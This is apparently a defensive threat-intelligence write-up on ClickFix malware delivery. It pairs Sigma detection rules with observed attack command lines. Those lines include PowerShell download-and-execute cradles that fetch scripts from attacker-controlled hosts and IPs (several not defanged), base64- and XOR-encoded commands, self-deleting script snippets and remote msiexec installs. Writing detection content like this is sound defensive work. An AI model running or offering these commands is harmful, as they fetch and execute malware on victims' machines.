ClickFix Delivery Chain: Trend Analysis

title: Browser or Explorer Spawning Hidden PowerShell
logsource:
  category: process_creation
  product: windows
detection:
  selection_interp:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\cmd.exe'
      - '\wscript.exe'
      - '\mshta.exe'
  selection_parent:
    ParentImage|endswith:
      - '\explorer.exe'
      - '\chrome.exe'
      - '\msedge.exe'
      - '\firefox.exe'
  selection_hidden:
    CommandLine|contains:
      - '-W Hidden'
      - '-WindowStyle Hidden'
      - '-NoProfile'
  condition: selection_interp and selection_parent and selection_hidden
level: high

powershell.exe -w hidden -nop -ep bypass -c "iex(iwr 'https://aatox.com/a.ps1' -UseBasicParsing)"

cmd.exe /c start /min powershell -w hidden -nop -c "(New-Object Net.WebClient).DownloadString('https://95.164.53.214/b.ps1') | iex"

title: PowerShell Outbound Fetch of Script Payload
logsource:
  category: network_connection
  product: windows
detection:
  selection_proc:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
  selection_outbound:
    Initiated: 'true'
    DestinationPort:
      - 80
      - 443
  filter_internal:
    DestinationIp|cidr:
      - '10.0.0.0/8'
      - '172.16.0.0/12'
      - '192.168.0.0/16'
  filter_ms:
    DestinationHostname|endswith:
      - '.microsoft.com'
      - '.windows.com'
      - '.azure.com'
  condition: selection_proc and selection_outbound and not (filter_internal or filter_ms)
level: high
# Pair with file_event rule matching *.ps1/*.txt/*.hta writes by the same ProcessGuid.

powershell -ep bypass -w hidden -c "iex(iwr 'https://aatox.com/stage2.ps1' -UseBasicParsing)"

powershell.exe -w hidden -nop -c "IEX (iwr -Uri 'https://irp.cdn-website.com/files/uploaded/3b7f1c/run.ps1' -UseBasicParsing).Content"

powershell -w hidden -nop -ep bypass -c "iex(irm 'https://80.253.249.186/loader.ps1')"

(New-Object Net.WebClient).DownloadString('https://yogasitesdev.wpengine.com/wp-content/uploads/a.ps1') | iex

$wc=New-Object Net.WebClient; iex $wc.DownloadString('https://irp.cdn-website.com/files/uploaded/9d4e/payload.ps1')

curl.exe -s https://95.164.53.214/payload.ps1 | iex

powershell -w hidden -nop -c "curl.exe -UseBasicParsing https://aatox.com/stg.ps1 | iex"

title: PowerShell Base64 Decode Piped to Invoke-Expression
logsource:
  category: process_creation
  product: windows
detection:
  selection_proc:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
  selection_decode_exec:
    CommandLine|contains|all:
      - 'FromBase64String'
      - 'iex'
  selection_enc:
    CommandLine|contains:
      - '-EncodedCommand'
      - '-enc '
      - '-e '
  condition: selection_proc and (selection_decode_exec or selection_enc)
level: high

powershell.exe -w hidden -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAn...

$c=New-Object Net.WebClient; iex $c.DownloadString('https://aatox.com/run.ps1')

powershell -w 1 -nop -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMA...

IEX(New-Object Net.WebClient).DownloadString('https://irp.cdn-website.com/files/uploaded/7c2a/stage2.ps1')

title: Script Self-Delete After Execution From TEMP
# Correlation: file_event (write) + process_creation + file_event (delete) on same ProcessGuid/TargetFilename within 10s.
logsource:
  product: windows
detection:
  file_write:
    EventID: 11          # Sysmon File Created
    TargetFilename|contains:
      - '\Temp\'
      - '\AppData\Local\Temp\'
    TargetFilename|endswith:
      - '.ps1'
      - '.bat'
      - '.vbs'
      - '.hta'
  process_exec:
    EventID: 1           # Sysmon Process Create
    Image: '%file_write.TargetFilename%'
  file_delete:
    EventID: 23          # Sysmon File Deleted
    TargetFilename: '%file_write.TargetFilename%'
  condition: file_write | followed_by process_exec | followed_by file_delete within 10s
level: high

Start-Sleep -Seconds 2; Remove-Item -Path $MyInvocation.MyCommand.Path -Force

$p=$MyInvocation.MyCommand.Path; Start-Sleep 1; Remove-Item $p -Force -ErrorAction SilentlyContinue

title: PowerShell Fetching Script From CDN Uploads Path
# Path-based detection: keep the CDN reachable for legitimate use, catch the staging pattern.
logsource:
  category: proxy
detection:
  selection_client:
    c-useragent|contains:
      - 'WindowsPowerShell'
      - 'Microsoft.PowerShell'
  selection_host:
    r-dns|endswith: '.cdn-website.com'
  selection_path:
    cs-uri-path|contains: '/files/uploaded/'
    cs-uri-path|endswith:
      - '.ps1'
      - '.txt'
      - '.hta'
  condition: selection_client and selection_host and selection_path
level: high

https://irp.cdn-website.com/files/uploaded/38ef2b/setup.ps1

https://irp.cdn-website.com/files/uploaded/9d4e22/loader.ps1

msiexec /i hxxps[://]shift-art[.]com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

msiexec /i hxxps[://]verifyhumanbot[.]com/pkg/update.msi /quiet /norestart

msiexec /i hxxp[://]198[.]13[.]158[.]127:5506/i.msi

title: MSIExec Installing Package From Remote URL via Run Dialog
logsource:
  category: process_creation
  product: windows
detection:
  selection_proc:
    Image|endswith: '\msiexec.exe'
  selection_remote:
    CommandLine|contains:
      - '/i http://'
      - '/i https://'
  selection_parent:
    ParentImage|endswith:
      - '\cmd.exe'
      - '\explorer.exe'
      - '\powershell.exe'
  filter_enterprise:
    CommandLine|contains:
      - 'microsoft.com'
      - 'windowsupdate.com'
      - 'office.com'
  condition: selection_proc and selection_remote and selection_parent and not filter_enterprise
level: high

powershell -NoP -W Hidden -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBiAGEAZAAuAGUAeABhAG0AcABsAGUALwBwAC4AcABzADEAIgApAA==

powershell -c "$b=[Convert]::FromBase64String('...'); iex ([System.Text.Encoding]::UTF8.GetString($b))"

powershell -c "$k=0x13; $e=@(0x42,0x17,0x26,...); -join($e|%{[char]($_ -bxor $k)})|iex"

title: PowerShell Inline Decode-and-Execute (No Network Fetch)
logsource:
  category: process_creation
  product: windows
detection:
  selection_proc:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
  selection_encoded:
    CommandLine|contains:
      - '-EncodedCommand'
      - '-enc '
      - '-e '
  selection_xor:
    CommandLine|contains|all:
      - '-bxor'
      - '[char]'
  selection_b64_iex:
    CommandLine|contains|all:
      - 'FromBase64String'
      - 'iex'
  selection_parent:
    ParentImage|endswith:
      - '\explorer.exe'
      - '\cmd.exe'
      - '\chrome.exe'
      - '\msedge.exe'
      - '\firefox.exe'
  condition: selection_proc and selection_parent and (selection_encoded or selection_xor or selection_b64_iex)
level: high
# Run alongside the cradle-agnostic network fetch rule. Both are needed.